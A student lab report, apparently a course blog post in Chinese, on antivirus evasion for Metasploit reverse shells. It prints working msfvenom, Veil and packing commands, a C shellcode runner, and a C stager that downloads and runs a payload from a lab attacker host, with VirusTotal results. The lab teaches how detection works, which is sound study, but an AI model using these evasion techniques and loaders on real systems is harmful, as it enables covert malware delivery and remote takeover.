网络攻防实验三

20242424 2026-2027-1 《网络与系统攻防技术》实验三实验报告

1.基础知识

免杀:对恶意软件做处理,让它不被杀毒软件检测。

杀软如何检测出恶意代码?

  • 特征码扫描:从已知恶意代码样本中提取其唯一字节序列作为“签名”,扫描文件时逐字节比对,若文件中出现字节序列完全匹配签名就可以判定为恶意代码。优点是准确快速;缺点是无法检测未知样本和轻微修改的变种。
  • 启发式分析:不依赖已知签名,而是检测代码结构或行为是否像恶意程序。静态启发式扫描代码结构,动态启发式监控程序运行时的动作。例如进程注入、修改注册表启动项、连接陌生IP等,偏离正常程序行为即标记为可疑。
  • 行为监控/沙箱:在一个受控环境中运行样本,观察系统调用序列和网络行为例如某个“文档”突然调用 VirtualAllocEx + CreateRemoteThread 向其他进程写数据,或释放后立即外连 C2,就会被行为引擎拦截。
  • 此外还有云查杀(上传文件哈希或片段到云端比对)和机器学习模型,但核心逻辑仍是上述三类的延伸。

免杀的基本方法有哪些?
按对抗的检测层面划分:

对抗目标 方法 原理
特征码扫描 编码/加密(msfvenom -e、XOR、RC4、Base64 多层) 改变文件字节序列,使签名无法匹配
特征码扫描 加壳(UPX、Hyperion 等) 原始代码被压缩/加密包裹,静态扫描只能看到壳,看不到内部特征
静态启发式 代码混淆、花指令、替换 API 调用 打乱代码结构,增加分析难度
动态行为监控 Shellcode 加载器分离、延迟执行、沙箱检测 shellcode 不直接放在 exe 中,或运行时才解密/加载,规避静态和短期动态检测
整体 组合技术 编码 + 加壳 + 加载器分离 + 合法签名伪装等叠加使用

2.实验内容

(1)正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

  • 正确使用msf编码器,使用msfvenom生成如jar之类的其他文件
  • veil,加壳工具
  • 使用C + shellcode编程

(2)通过组合应用各种技术实现恶意代码免杀。

(3)用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

3.实验过程

任务一:正确使用msf编码器,veil-evasion,加壳与C+shellcode编程

1. msfvenom 编码器与多格式生成

先生成一个裸的 msfvenom exe:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=4444 -f exe -o 20242424_raw_msf.exe

将此程序送到VirusTotal中检测结果如下:

image

返回kali linux,生成基础 jar 文件:

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=4444 -f jar > 20242424_jar.jar

对 exe 使用 shikata_ga_nai 多次编码:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.40.129 LPORT=4444 -f exe > 20242424_encoded.exe

(-e 指定编码器,-i 是迭代次数,-b '\x00' 避免空字节。)
如下图所示,VirusTotal 检出情况如下,有 51 家安全厂商将其标记为恶意,检出率为 71.8%。结论:单纯依赖 msfvenom 编码对现代杀软效果有限,VirusTotal 检出率往往仍然很高。
image

2. Veil-Evasion 生成免杀载荷

安装并启动 Veil:

# 解决 apt 优先走 IPv6 导致网络不可达的问题,强制使用 IPv4
echo 'Acquire::ForceIPv4 "true";' | sudo tee /etc/apt/apt.conf.d/99force-ipv4
sudo apt update

# Kali 官方仓库已移除 veil 包,改用源码安装,使用 GitCode 镜像克隆
git clone https://gitcode.com/gh_mirrors/ve/Veil.git
cd Veil

# 预装 pycrypto 的维护替代品 pycryptodome
sudo apt install -y python3-pycryptodome

# 修改 setup.sh:将硬编码的 pip install pycrypto 替换为 pycryptodome
nano config/setup.sh
# 找到 "pip3 install pycrypto" 的行,改为:
# pip3 install pycryptodome --break-system-packages

# 运行安装脚本并启动
sudo ./config/setup.sh --force --silent
veil

进入 Veil 后,选择 Evasion 模块:

use evasion
list

image

使用 c/meterpreter/rev_tcp.py 载荷,配置参数并生成:

use c/meterpreter/rev_tcp.py
set LHOST 192.168.40.129
set LPORT 2424
generate

image

生成的文件名为 20242424_veil.exe,路径在 /var/lib/veil/output/compiled/。将其上传至 VirusTotal 验证,发现 35 家安全厂商将其检出为恶意,检出率为 49%。由此可见,杀软可通过检测 PE 文件的 Overlay 异常,判定其为恶意打包文件。
image

3. C + shellcode 编程

生成 C 格式 shellcode:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=2327 -f c -o 20242424_shellcode.c

打开生成的文件,在 buf[] 数组末尾添加执行入口:

int main(){    
    int (*func)() = (int(*)())buf;    
    func();
}

原理:func 是指向 buf 首地址的函数指针,调用 func() 让 CPU 跳转到存储 shellcode 的内存区域执行机器码,从而触发反弹连接。

用 MinGW 交叉编译为 Windows exe:

i686-w64-mingw32-g++ 20242424_shellcode.c -o 20242424_c_shellcode.exe

编译后上传 VirusTotal 记录检出数(30/69)。面对的不再是标准 msf 格式,而是自己编译的普通 C 程序,检出率有变化,但 buf 中的原始 shellcode 字节仍在文件中,不保证清零。
image

4. 加壳对比(UPX + Hyperion)

对 C+shellcode 生成的 exe 分别加压缩壳和加密壳,观察检出率变化。

UPX 压缩壳:

upx 20242424_c_shellcode.exe -o 20242424_c_upx.exe

image

Hyperion 加密壳:

# 第一步:把文件复制到工具目录
sudo cp 20242424_c_shellcode.exe /usr/share/windows-resources/hyperion/
# 第二步:进入目录
cd /usr/share/windows-resources/hyperion/
# 第三步:使用 wine 运行加壳
sudo wine hyperion.exe 20242424_c_shellcode.exe 20242424_c_hyperion.exe

image

结论:加壳并非一劳永逸。由于 UPX 和 Hyperion 的壳特征已被广泛收录,加壳反而触发了杀软的启发式查杀,导致检出率未降反升。这证明了在现代杀软面前,单纯依靠加壳无法实现免杀。

5. 组合技术:网络分离加载

为彻底解决文件带有附加数据(overlay)被查杀的问题,采用网络分离加载技术。本地 exe 不包含任何恶意代码,运行时去 Kali 临时下载 payload.bin 并在内存运行。

第一步:在 Kali 上准备 HTTP 服务

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.40.129 LPORT=4444 -f raw -o payload.bin
python3 -m http.server 8080

第二步:写网络加载器(C 语言)
新建文件 20242424_net.c:

#include <windows.h>
#include <wininet.h>
#include <stdio.h>
#pragma comment(lib, "wininet.lib")

int main() {
    HINTERNET hInternet = InternetOpenA("Mozilla/5.0", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
    HINTERNET hConnect = InternetOpenUrlA(hInternet, "http://192.168.40.129:8080/payload.bin", NULL, 0, 0, 0);
    
    if (hConnect) {
        char buffer[2048];
        DWORD bytesRead;
        char *exec_mem = (char*)VirtualAlloc(0, 4096, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
        DWORD totalRead = 0;
        
        while (InternetReadFile(hConnect, buffer, sizeof(buffer), &bytesRead) && bytesRead != 0) {
            memcpy(exec_mem + totalRead, buffer, bytesRead);
            totalRead += bytesRead;
        }
        
        int (*func)() = (int(*)())exec_mem;
        func();
    }
    return 0;
}

第三步:编译与测试

i686-w64-mingw32-gcc 20242424_net.c -o 20242424_net.exe -lwininet

生成的 net.exe 大小仅有几 KB,没有任何乱码数组,静态特征极其干净。
image

任务二:与杀软共生及实测验证

1. 实测环境准备
在 Kali 开启监听:

msfconsole -q
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.40.129
set LPORT 4444
run

2. 开启防护测试
将 20242424_net.exe 通过共享文件夹传至物理机,在开启 Windows Defender 实时防护的情况下双击运行。程序被检测到并秒杀拦截。
image

3. 关闭防护验证连通性
为了验证 Payload 本身的连通性与代码逻辑,我们在测试机上关闭 Windows Defender 病毒防护,再次运行程序。程序成功回连,获取到 Meterpreter 会话,证明代码本身无问题,可见 Windows Defender 动态行为监控的强大。
image

各阶段免杀效果对比总结:

测试阶段 测试文件 生成方式 VirusTotal 检出率
裸 MSF raw_msf.exe msfvenom 原生 52/71
MSF 编码 encoded.exe shikata_ga_nai 51/71
Veil 工具 veil.exe Veil-Evasion 35/71
C+Shellcode c_shellcode.exe C语言直接内联 30/69
UPX 加壳 c_upx.exe UPX 压缩 31/69
Hyperion 加壳 c_hyperion.exe 强加密壳 51/71
网络分离加载 net.exe C语言纯下载器 28/71

4.问题及解决方案

  • 问题1:安装 Veil 时使用 apt install veil 报错。

    Error: Could not open lock file /var/lib/dpkg/lock-frontend - open (13: Permission denied)
    Error: Unable to acquire the dpkg frontend lock (/var/lib/dpkg/lock-frontend), are you root?
    
  • 问题1解决方案:该错误是因为当前使用的账户 kali 没有直接执行 apt 安装命令的管理员权限。在 Kali Linux 中,出于安全考虑,默认禁用了直接使用 root 账户,而是推荐通过 sudo 来临时获取管理员权限。在原来的命令前加上 sudo 即可:sudo apt install veil。

  • 问题2:运行 sudo ./config/setup.sh --force --silent 安装 Veil 时,脚本反复报依赖安装失败,关键报错为 error: externally-managed-environment 及 [ERROR] Failed with installing dependencies (6): 0。同时终端伴随 D-Bus 连接失败和 Wine 加载 Vulkan 库失败的警告,veil 命令无法正常启动。

  • 问题2解决方案:

    1. 定位核心错误:通过查看 setup.sh 输出,确认是脚本执行 pip install pycrypto 时触发了 Kali 的 PEP 668 保护(禁止 pip 直接写入受管 Python 环境)。
    2. 分析原因:setup.sh 硬编码调用 pip install pycrypto,不检测系统环境;且 pycrypto 已停止维护,官方推荐替代品为 pycryptodome。
    3. 具体处理:
      • 先执行 sudo apt install -y python3-pycryptodome 预先满足依赖;
      • 编辑 config/setup.sh,将 pip3 install pycrypto 替换为 pip3 install pycryptodome --break-system-packages;
      • 忽略 D-Bus(当前环境 systemd 总线不完整)和 Vulkan(Wine 图形初始化回退)的次要警告,不影响核心功能。
    4. 验证:重新运行安装脚本,依赖安装通过;使用 python3 -c "from Crypto.Cipher import ARC4; print('Crypto OK')" 验证模块导入正常,Veil 成功启动。
  • 问题3:物理机开启 Windows Defender 时,网络分离加载器(本地无恶意代码)被瞬间拦截。

  • 问题3解决方案:通过分析发现,虽然本地 exe 静态代码干净,但 Defender 的 AMSI 机制和动态行为分析引擎检测到了 InternetOpenUrl(下载)、VirtualAlloc(申请内存)和函数指针执行等一系列高危 API 组合调用,触发了行为查杀。为验证代码本身的连通性,暂时关闭 Defender 防护后运行成功。这证明了现代杀软已从“查文件特征”进化到了“查代码行为”。

5.学习感悟即问题回答

此次实验带给我极大的震撼。通过深入接触后门植入与免杀技术,我直观地感受到了网络攻防的激烈对抗。也许这些工具发明的初衷是为了人们能远程登录设备更好地办公,或者是帮助他人解决电脑问题,但同时它们也成为了被不法分子利用、盗取个人隐私的媒介。正因为有这种黑客入侵的威胁,安全软件、防火墙才应运而生。结合本次免杀实验,我对攻防博弈有了更深刻的理解:

第一,理解后门与防火墙的博弈。
实验二(如 nc 和 Socat 的使用)让我初步认识了后门的原理:联网运行特定程序并配置 IP 和端口。但在实验二中使用 MSF 生成后门并通过 ncat 传输时,我遇到了真实的阻碍——由于现代防火墙和病毒防护的普及,主动植入后门极易被识别。因此,我们在传输时不得不暂时关闭靶机的防护。但这在现实中行不通,因为防火墙默认策略通常是“拦进不拦出”。这让我意识到,后门往往需要通过钓鱼网站或邮件诱骗受害者自己运行,由靶机内部向外主动发起突破,这就是“反弹连接”。而要让受害者的杀软和系统不拦截这个“反弹”行为,就必须用到我们本次实验的核心技术——免杀。

第二,对抗杀软的深度思考(回答问题):

(1)杀软是如何检测出恶意代码的? 结合实验数据,我看到了杀软的“三板斧”:首先是特征码扫描(裸MSF载荷在VT上被52家引擎秒杀);其次是静态启发式(我加UPX和Hyperion壳后,因为壳特征明显或附加数据异常,检出率不降反升);最后是强大的动态行为监控(即使我写了毫无特征的网络分离加载器,双击运行后仍被Windows Defender发现 VirtualAlloc 等敏感API调用并拦截)。

(2)免杀是做什么? 免杀绝不是制造无毒的文件,而是通过加密、混淆、加载器分离等“伪装”手段,改变恶意代码的静态特征,或者隐藏其动态行为,骗过杀软的检测,让恶意代码能成功在目标机器上运行并回连。

(3)免杀的基本方法有哪些? 在实验中我实践了完整的免杀演进路径:从编码器(msfvenom自带编码)、加壳(UPX)、到源码级重编译(自己写C语言加载器),再到最有效的分离加载(网络远程拉取Payload并在内存执行),最后还可以结合 API 动态调用来进一步隐藏行为。

第三,免杀是后续一切攻击的基石。
正是因为免杀技术的铺垫,我们才能进一步通过提权敲命令、监听靶机键盘、控制摄像头,甚至最终拿到最高权限并抓取本地用户的 NTLM 哈希。如果说实验一是利用漏洞在本地弹一个 shell,那么后期的任务则是利用这个漏洞和后门技术,主动把控制权交给远程攻击机。如果没有免杀技术作支撑,再精妙的漏洞利用也会在第一步被防火墙拒之门外。二者结合,才是完整的实战攻防。

参考资料

posted @ 2026-10-22 11:18  FOCEAN  阅读(3)  评论(0)    收藏  举报